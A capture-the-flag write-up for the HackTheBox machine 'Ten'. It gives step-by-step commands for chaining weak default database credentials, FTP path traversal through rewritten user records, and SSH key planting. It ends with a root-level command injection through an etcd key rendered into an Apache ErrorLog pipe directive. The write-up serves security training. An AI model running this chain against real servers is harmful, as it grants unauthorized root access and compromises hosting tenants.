HTB: Ten Writeup

Ten - HackTheBox Writeup

Machine Information

AttributeDetails
NameTen
OSLinux
DifficultyHard
PointsN/A
Release DateN/A
IP AddressN/A
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Ten is a Hard difficulty Linux machine that simulates a misconfigured shared-hosting environment running Apache with FTP and MySQL backend services. The vulnerability chain begins with a public sign-up portal that generates FTP credentials with weak MySQL integration, allowing attackers to directly manipulate database entries to gain arbitrary filesystem access. By modifying FTP user directory paths and UID/GID values, an attacker can pivot into another local user’s SSH directory and inject SSH keys. The final privilege escalation exploits an etcd-driven Apache configuration reload mechanism (via Remco) that processes template files with unsafe variable expansion, enabling command injection through crafted etcd keys that ultimately execute as root.

TL;DR: Enumerate FTP → Discover MySQL management portal → Modify FTP user paths/credentials in database → Upload SSH keys to tyrell user → Lateral move via SSH → Poison etcd configuration via Apache ErrorLog directive → Execute commands as root.


Reconnaissance

Port Scanning

Terminal window
nmap -Pn -A --top-ports 3000 10.129.234.149

Results:

PORT STATE SERVICE VERSION
21/tcp open ftp Pure-FTPd
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))

Service Enumeration

HTTP (Port 80):

  • Discovers a web application offering insecure FTP account provisioning
  • Users can register a subdomain and receive FTP credentials automatically
  • Application title hints at credential generation: “get-credentials-please-do-not-spam-this-thanks.php”

FTP (Port 21):

  • Pure-FTPd service with user account provisioning
  • Credentials generated by the web application work immediately
  • File indexing enabled on user-provisioned subdomains

Virtual Host Enumeration:

Terminal window
wfuzz -H "Host: FUZZ.ten.vl" -w ~/wordlists/raft-medium-words.txt --hw 25 --hc 400 -t 100 http://ten.vl

Discovers additional vhost: webdb.ten.vl (MySQL management portal)

Vulnerability Assessment

  1. Weak MySQL/FTP Integration: FTP user accounts stored in MySQL with modifiable UID/GID and directory paths
  2. SQL Injection via Management Portal: Default credentials (user/pas55w0rd) accessible via “Guess Credentials” function
  3. Path Traversal via FTP: Ability to modify directory paths using ../ sequences to escape chroot
  4. Insecure Template Processing: Remco/etcd configuration management processes user-controlled data without sanitization
  5. Privileged Service Execution: Apache restart triggered by root-level Remco process watching etcd keys

Initial Foothold

Exploitation Path

Step 1: Generate FTP Credentials

Access the web application and request a subdomain:

Terminal window
# Navigate to http://ten.vl and submit domain name "testing"
# Receive credentials: ten-1481960f / 873911d5

Step 2: Discover MySQL Portal

Enumerate virtual hosts and locate webdb.ten.vl — a MySQL management interface with default credentials.

Terminal window
# Access webdb.ten.vl
# Login with: user / pas55w0rd (via "Guess Credentials" feature)
# Select pureftpd database

Step 3: Identify Exploitation Vector

Examine the FTP user table and note that directory paths and UID/GID are directly modifiable:

-- Current user record
SELECT * FROM users WHERE user = 'ten-1481960f';
-- Shows: dir, uid, gid are all mutable columns

Step 4: Extract System Information

Use FTP path traversal to read /etc/passwd:

Terminal window
# Update FTP user directory via MySQL
UPDATE users SET dir = '/srv/home' WHERE user = 'ten-1481960f';
# Reconnect to FTP and navigate to /
ftp> cd /
ftp> get etc/passwd
# Parse passwd file
cat passwd | grep bash
# Output: tyrell:x:1000:1000:Tyrell W.:/home/tyrell:/bin/bash

Step 5: Modify FTP User for Path Traversal

Update the FTP user to access tyrell’s home directory:

UPDATE users
SET
dir = '/srv/../home/tyrell',
uid = '1000',
gid = '1000'
WHERE
user = 'ten-1481960f';

Reconnect to FTP and verify access:

Terminal window
ftp ftp://ten-1481960f:873911d5@testing.ten.vl
ftp> ls -a
# Output shows tyrell's home directory contents

Step 6: Target SSH Directory

Modify the FTP path to point directly to tyrell’s .ssh folder:

UPDATE users
SET
dir = '/srv/../home/tyrell/.ssh',
uid = '1000',
gid = '1000'
WHERE
user = 'ten-1481960f';

Step 7: Inject SSH Key

Generate a local SSH keypair and upload the public key:

Terminal window
# Generate ed25519 keypair
ssh-keygen -t ed25519 -f testing -N ""
# Connect to FTP and upload public key as authorized_keys
ftp ftp://ten-1481960f:873911d5@testing.ten.vl
ftp> put testing.pub authorized_keys
# File successfully transferred
# Connect via SSH as tyrell
ssh -i testing tyrell@ten.vl
tyrell@ten:~$

Privilege Escalation

Exploitation Path

Step 1: Enumerate Running Services

Run process monitor to identify background services:

Terminal window
# Upload and execute pspy64 to monitor processes
/tmp/pspy64
# Observe output when new FTP credentials are generated:
# UID=33 PID=4930 | sh -c ETCDCTL_API=3 /usr/bin/etcdctl put /customers/ten-ceba9290/url demo
# UID=0 PID=4938 | /usr/local/sbin/remco
# UID=0 PID=4939 | /bin/sh -c systemctl restart apache2.service

Step 2: Identify Remco Configuration

Examine the Remco configuration and template files:

Terminal window
# Check if remco is running as a service
systemctl status remco.service
# Output: loaded active running remco service
# Read remco configuration
cat /etc/remco/config
# Output reveals:
# - Watches etcd keys under /customers/*
# - Processes template file: /etc/remco/templates/010-customers.conf.tmpl
# - Reloads Apache on changes
# - Backend: etcd at 127.0.0.1:2379

Step 3: Analyze Template Processing

Examine the Apache configuration template:

Terminal window
cat /etc/remco/templates/010-customers.conf.tmpl
# Output:
# {% for customer in lsdir("/customers") %}
# {% if exists(printf("/customers/%s/url", customer)) %}
# <VirtualHost *:80>
# ServerName {{ getv(printf("/customers/%s/url",customer)) }}.ten.vl
# DocumentRoot /srv/{{ customer }}/
# </VirtualHost>
# {% endif %}
# {% endfor %}

The template directly inserts etcd key values into Apache configuration without sanitization.

Step 4: Exploit Apache ErrorLog Directive

Research Apache configuration to identify injectable directives. The ErrorLog directive allows pipe-separated command execution:

# Apache ErrorLog documentation:
# If the file-path begins with "|", it is assumed to be a command to spawn

Step 5: Craft Malicious etcd Entry

Create a poisoned configuration entry that executes a command as root:

Terminal window
# Copy tyrell's authorized_keys to root's .ssh directory
ETCDCTL_API=3 /usr/bin/etcdctl put /customers/ten-b94344ef/url 'asdfasdfasdf.ten.vl
ErrorLog "|/usr/bin/cp /home/tyrell/.ssh/authorized_keys /root/.ssh/authorized_keys"
#'

The entry structure creates:

  • A malicious ServerName with embedded ErrorLog directive
  • A comment character (#) to close the VirtualHost block
  • Command execution via pipe operator when Apache processes the config

Step 6: Trigger Configuration Reload

Remco automatically watches etcd for changes and reloads Apache within 5 seconds. The injected command executes as root during the reload.

Step 7: Verify Exploitation

Connect as root via SSH using the previously generated keypair:

Terminal window
ssh -i testing root@ten.vl
root@ten:~# id
uid=0(root) gid=0(root) groups=0(root)

Attack Chain Summary

FTP Signup Portal
MySQL Discovery (webdb.ten.vl)
Credential Modification (user/pas55w0rd access)
Path Traversal (/srv/../home/tyrell)
SSH Key Injection (.ssh/authorized_keys)
Lateral Movement (SSH as tyrell)
Service Enumeration (Remco + etcd)
Template Analysis (010-customers.conf.tmpl)
Apache Config Injection (ErrorLog directive)
etcd Poisoning (/customers/*/url)
Root Command Execution (systemctl restart apache2)
Root Access via SSH

Tools Used

ToolPurpose
nmapPort scanning and service version detection
wfuzzVirtual host enumeration
mysql / Web UIDatabase manipulation and user credential modification
ftpFile transfer and path traversal exploitation
ssh-keygenSSH keypair generation
sshSecure shell access
pspy64Process monitoring and service discovery
etcdctletcd key-value store manipulation
systemctlService status and configuration review

Key Learnings

Techniques Practiced

  • Virtual host enumeration via HTTP header fuzzing
  • MySQL database enumeration and direct SQL manipulation
  • FTP path traversal using relative path sequences (../)
  • Privilege escalation through service configuration injection
  • Template injection in configuration management tools (Remco)
  • Apache directive exploitation (ErrorLog with pipe operator)
  • etcd key-value store poisoning for command execution
  • SSH key-based authentication and privilege maintenance across users

Lessons Learned

  1. Shared hosting environments introduce significant risk — Poorly isolated user accounts with database-driven configuration can allow one tenant to compromise others.

  2. Database access is equivalent to system access — Direct manipulation of FTP/system configuration data bypasses normal access controls entirely.

  3. Path traversal is not limited to web applications — FTP chroot escapes via symbolic directory paths demonstrate the importance of validating all path inputs.

  4. Template processing is dangerous — Configuration management tools (Remco, Ansible, Terraform) that interpolate user-controlled data without sanitization can become privilege escalation vectors.

  5. Monitor what services run and how — Identifying that Remco runs as root and watches etcd was critical; process monitoring revealed the exact execution chain.

  6. Apache directives are powerful — Features like ErrorLog piping to commands, if not properly controlled, enable arbitrary code execution at the service’s privilege level.

  7. Defense in depth matters — Multiple layers of weak security (weak defaults + modifiable configs + template injection) combine to total compromise.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>